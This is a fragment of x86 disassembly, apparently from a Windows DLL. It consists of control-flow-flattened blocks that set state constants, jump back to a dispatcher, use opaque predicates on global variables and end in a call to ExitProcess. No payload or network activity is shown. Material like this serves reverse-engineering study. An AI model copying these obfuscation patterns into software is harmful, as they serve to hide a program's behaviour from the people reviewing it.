mov eax, 0xe206202
jmp 0x10001308
mov eax, dword [ebp - 0x2c]
mov dword [eax], 2
mov eax, 0x84a361d9
jmp 0x10001308
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x50]
mov eax, dword [0x1005c974]
lea ecx, [eax + 0x60dcd3a1]
imul ecx, eax
test cl, 1
sete al
cmp dword [0x1005c978], 0xa
setge dl
setl ah
and ah, cl
and al, dl
or al, ah
or dl, cl
mov ecx, edx
xor cl, al
test dl, 1
mov edx, 0x6bee228d
mov esi, 0x7d13ef52
cmovne edx, esi
test al, al
cmove edx, esi
test cl, 1
mov eax, 0x6bee228d
cmove edx, eax
mov eax, edx
jmp 0x10001308
mov eax, dword [0x1005c974]
lea ecx, [eax - 1]
imul ecx, eax
not ecx
or ecx, 0xfffffffe
cmp ecx, 0xffffffff
setne al
cmp dword [0x1005c978], 0xa
setge cl
mov edx, ecx
xor dl, al
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x42318611
mov esi, 0x5c1a3605
cmovne ecx, esi
test dl, dl
cmove ecx, esi
test al, al
mov eax, 0x42318611
jmp 0x10008402
cmp byte [ebp - 0x62], 0
mov eax, 0x3cd1bacb
mov ecx, 0x6eb61b00
cmovne eax, ecx
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xfffffffe
and eax, 1
or eax, edx
xor ecx, eax
test ecx, eax
sete al
setne cl
cmp dword [0x1005c978], 0xa
setl dl
setge ah
and al, ah
or ah, cl
and dl, cl
or dl, al
mov al, ah
xor al, dl
mov ecx, 0x9a3be4c0
mov edi, 0x19589f57
cmovne ecx, edi
test dl, dl
mov edx, ecx
mov esi, 0x9a3be4c0
cmovne edx, esi
test ah, ah
cmovne edx, ecx
mov eax, edx
jmp 0x10001308
mov eax, 0x97c98145
jmp 0x10001308
mov eax, 0xa025ce70
jmp 0x10001308
mov ecx, dword [0x1005c974]
lea eax, [ecx + 1]
imul eax, ecx
test al, 1
sete cl
cmp dword [0x1005c978], 0xa
setl dl
setge ch
or ch, al
xor dl, cl
mov al, ch
xor al, dl
test al, 1
mov eax, 0x49e90eaf
mov esi, 0x6e975fb0
cmovne eax, esi
test dl, dl
mov edx, eax
mov esi, 0x49e90eaf
cmovne edx, esi
test ch, 1
cmovne edx, eax
mov eax, edx
jmp 0x10001308
cmp eax, 0x8f279a85
je 0x10008ccd
jmp 0x10001308
cmp eax, 0x9e74a66e
jne 0x10001308
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]
xor eax, eax
inc eax
lea esp, [ebp - 0xc]
pop esi
pop edi
pop ebx
pop ebp
ret 0xc